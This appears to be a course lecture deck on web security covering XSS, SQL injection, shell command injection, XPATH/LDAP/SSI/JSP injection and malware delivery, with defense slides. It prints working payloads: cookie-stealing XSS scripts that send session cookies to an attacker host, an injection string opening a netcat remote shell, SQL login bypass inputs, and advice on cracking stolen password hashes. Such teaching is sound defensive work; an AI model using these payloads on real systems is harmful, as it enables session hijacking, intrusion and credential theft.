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Web Security
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  1. Web Security

  2. Objectives • Understand the complexity of Web infrastructure and current trends of Web threat • Understand the mechanisms and defense of major Web attacks: XSS, SQL injection and shell attacks

  3. Why Web Security: a Real Business Problem • > 60% of total attack attempts observed on the Net are against Web applications • > 80% of vulnerabilities discovered are in web apps • Independent security audit • Regulatory compliance

  4. Auditor finding • Freeform edit box • Message to Customer Service • XSS issue raised • Must provide a response: • Prove issue to be a non-problem or • Describe actions to take

  5. Anatomy of Web Attacks Attacker breaks into a legitimate website and posts malware Malware is no longer exclusive to malicious Web sites. Attacking end-user machines. Malware on a Web site makes its way down on to a user’s machine when that user visits the host Web site. “Drive-by-download” – happens automatically with no user interaction required Additional techniques which do require some input from the user, but in practice are equally, if not more so, effective. Leveraging end user machines for malicious activity.

  6. Anatomy of Web Attacks Source: Web Based Attacks, Symantec 2009

  7. Web Applications • Big trend: software as a (Web-based) service • Online banking, shopping, government, etc. • Cloud computing • Applications hosted on Web servers • Written in a mixture of PHP, Java, Perl, Python, C, ASP • Security is rarely the main concern • Poorly written scripts with inadequate input validation • Sensitive data stored in world-readable files

  8. Typical Web Application Design • Runs on a Web server or application server • Takes input from Web users (via Web server) • Interacts with back-end databases and third parties • Prepares and outputs results for users (via Web server) • Dynamically generated HTML pages • Contain content from many different sources, often including regular users • Blogs, social networks, photo-sharing websites… • Web advertisements, usually third party • A webpage can have content coming from 10-20 different domains

  9. Two Sides of Web Security • Web browser (front end) • Can be attacked by any website it visits • Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data • Web application (back end) • Runs at website • Banks, online merchants, blogs, Google Apps, etc. • Written in Javascript, PHP, ASP, JSP, Ruby, … • Many potential bugs: XSS, SQL injection, XSRF • Attacks lead to stolen credit cards, defaced sites, etc.

  10. Chicago Tribune Home Page

  11. How Are Legitimate Web Sites Compromised? • SQL Injection Attacks • Malicious Advertisements • Many Web sites today display advertisements hosted by third-party advertising sites • Volume of ads published automatically makes detection difficult • Random appearances further compounds the detection • Search Engine Result Redirection • Attacks on the backend virtual hosting companies • Cross-site scripting (XSS) attacks • Vulnerabilities in the Web server or forum hosting software (e.g., shell attacks)

  12. JavaScript • Language executed by browser • Scripts are embedded in Web pages • Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page • Used to implement “active” web pages • AJAX, huge number of Web-based applications • Many security and correctness issues • Attacker gets to execute some code on user’s machine • Often used to exploit other vulnerabilities

  13. Cross Site Scripting • Attacker goal: their code into browser • XSS forces a website visitor to execute malicious code in his/her browser • Count for roughly 80% of all documented security vulnerabilities

  14. XSS Risks • XSS abuses render engines or plug-ins • Steal browser cookies • Steal session info for replay attack • Malware or bot installation • Redirect or phishing attempt

  15. XSS Example 1 • Trudy posts the following JavaScript on a message board: • <script language="javascript"> var url = "http://machineaddress:5000/index.html?cookie=“+ encodeURI(document.cookie); </script> • Then run a TCP server listening on port 5000 with e.g., nc –l 5000 • When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

  16. XSS Demo Instructions • Set port forward to bypass the firewall ssh -L 8000:netsec-demos:2000 guest@netsec-1.cs.northwestern.edu Note: 8000 is the local port, it's forwarded to netsec-demos port 2000 through netsec-1 • Use http://localhost:8000 to access http://netsec-demos.cs.northwestern.edu:2000

  17. XSS Demo Instructions (II) • Login as ychen and post the script with a sexy title (e.g., hot game!) <script language="javascript"> varurl = "http://cal.cs.northwestern.edu:5000/index.html?cookie="; url = url + encodeURI(document.cookie); new Image().src=url; </script> Hi Everyone! Thanks for your cookies! • Ssh to that machine (e.g., cal.cs.northwestern.edu) and run nc –l 5000

  18. Simple XSS Code varurl = "http://machineaddress:5000/index.html?cookie=“+ encodeURI(document.cookie); • document.cookie is the browser's entire cookie for the current website • encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL • E.g., changing the space character to %20 • Make the URL less suspicious

  19. What can Trudy Do with the Cookie? • Another user test458 login as and when clicking the post, cookie is sent to the attacker • Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker • For more info, http://netsec.cs.northwestern.edu/resources/password-cracking/ • Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

  20. XSS Detection • A client usually is not supposed to send scripts to servers • If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred • A sanitized script could look like &ls;SCRIPT&gt;… • Any user input must be preprocessed before it is used inside HTML

  21. SQL Injection Malicious SQL statements run on a database and thus attack the server XSS can only target other users

  22. SQL Injection Example • Trudy accesses Bob’s website; in which he does not validate input on his sign in form • Runs a SQL statement like the following: • select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; • Set username to ' or '1'='1 • select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; • Effect: picks any row where the username is blank and the password matches or any row where true. • Add “limit 1” to pick the first row

  23. SQL Injection Detection • Input validation on any outgoing SQL statements from the web server to the database server • Filter • Apostrophes, semicolons, percent symbols, hyphens, underscores, … • Any character that has special meanings must be escaped, .e.g., convert ’ into \’ • Only works for string inputs • Different databases have different rules for escaping • Check the data type (e.g., make sure it’s an integer)

  24. Shell Attacks Control an actual machine like a web server

  25. Shell Attacks • Inject commands into scripts that use Linux utilities • E.g., with “;” as command separator in UNIX/LINUX • CGI programs like perl can use command-line programs (e.g. grep, ls) • Unsanitized input as arguments can lead to command execution.

  26. Shell Attacks Demo • Search engine in MiniBB webserver executes system("echo $user_usr " . $phrase . " >>/tmp/searchlogs"); • Put phrase as: >/dev/null; id; echo randomdata • Hide user ID • Store random data in logs to evade detection • We can even get a remote shell ! • >/dev/null; nc cal 5000 -e /bin/sh

  27. Defense Approaches • Web firewall/IDS • ModSecurity for Apache • Commercial: SecureSphere from Imperva • Static code analysis • Open source: Nikto • Commercial: • Acutenix Web Vulnerability Scanner • N-stalker • Education on good coding • HTML encoding on input (server-side) • Input validation/filtering

  28. XSRF

  29. Discussion of Symantec White Papers: GETTING ONTO A USER’S COMPUTER (AUTOMATICALLY)

  30. GETTING ONTO A USER’S COMPUTER Source: Web Based Attacks, Symantec 2009

  31. Automatic Attack Exposure • Techniques used to deliver malware from Websites to a users computer. • Exposure • Browsing a website • No user interaction is required • Executable content is automatically downloaded

  32. “Click Jacking”


  34. Social Engineering Source: Web Based Attacks, Symantec 2009 • People are tricked into performing actions they would not otherwise want to perform

  35. Types of Social Engineering Attacks Fake Codec Malicious Peer-to-Peer (P2P) Files Malicious Advertisements Fake Scanner Web Page Blog Spam Other Attack Vectors

  36. Fake Codec • User is prompted to install a missing codec • Codec is actually malware code • Usually a trojan horse

  37. Malicious Peer-to-Peer (P2P) Files • Malware authors bind content into popular applications • Files named after celebrities, popular bands • Uploaded to popular P2P sites where they are downloaded by unsuspecting users • Openly available how-to materials on the internet • Details how to build and distribute malware • Pay-Per-Install malware

  38. Fake Scanner Web Page • Tools that claim to scan for and remove adult images, etc. • Create a web site or product that misrepresents the truth • JavaScript pop-ups notifying of false need to install operating system updates Source: Web Based Attacks, Symantec 2009

  39. Blog Spam • Alluring links posted on blogs • Links embedded in blog comments • Direct users to sites that leverage social engineering tricks or browser exploits to spread malware

  40. Other Attack Vectors • Spam • Emails contain links directing people to drive by download, fake scanner/codec, and malware sites • Pirated software sites • Pirated versions of software are bundled with or comprised solely of trojan horses

  41. How to Protect Yourself • Update and Patch Software • Get latest OS, Browser, Application patches • Browswer Plug-in updates often forgotten • Endpoint Protection Software • Anti-virus software for signature based detection and behavioral monitoring • Update Protection Software Subscription • Could miss 70,000 new unique virus variants for one week • Be Suspicious • Avoid things that seem too good to be true • Use safe search functionality in browsers • Adopt Strong Password Policy

  42. Backup Slides

  43. XSS Example 2 • Trudy sends a link of the following URL to Bob that will take him to a personalized page: • http://host/personalizedpage.php?username=<script>document.location='http://trudyhost/cgi-bin/stealcookie.cgi?'+document.cookie</script> • A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy • Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious

  44. XPATH Injection Example • Similar to SQL injection • Bob has a form that does not sanitize user-provided input before using it as part of an XPATH query:: • string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) • Trudy again can provide the following password to change the statement’s logic: • X’ OR ‘x’=‘x • The statement thus selects the first account

  45. LDAP Injection Example • Server using LDAP for authentication • User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry • Attacker can exploit using special characters http://example/ldapsearch.asp?user=*

  46. LDAP Injection Detection • Detection is based off of usage of special LDAP characters • System monitors input for special characters • Either scrubs incoming input or watches for unescaped output passed to database server • Detection approach is blackbox

  47. SSI Injection Example • Bob has his server configured to use Server-Side Includes • Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web.config"--> • SSI inserts malicious code into normal webpages upon next request • Future legitimate users get content containing the tainted code included by the SSI

  48. JSP Injection Example • Similar to SSI injection • Bob has a portal server configured to use dynamic code for templates • Trudy passes input with an embedded <jsp:include “http://bad.com/1.jsp” > • malicious code inserted into webpage

  49. JSP Injection Prevention • Prefer static include <%include …> • Don’t allow file inclusion outside of server via Java2 Security policies • Firewall rules to prevent outbound requests from server • Input validation coding • Choose portal software not requiring dynamic includes or code execution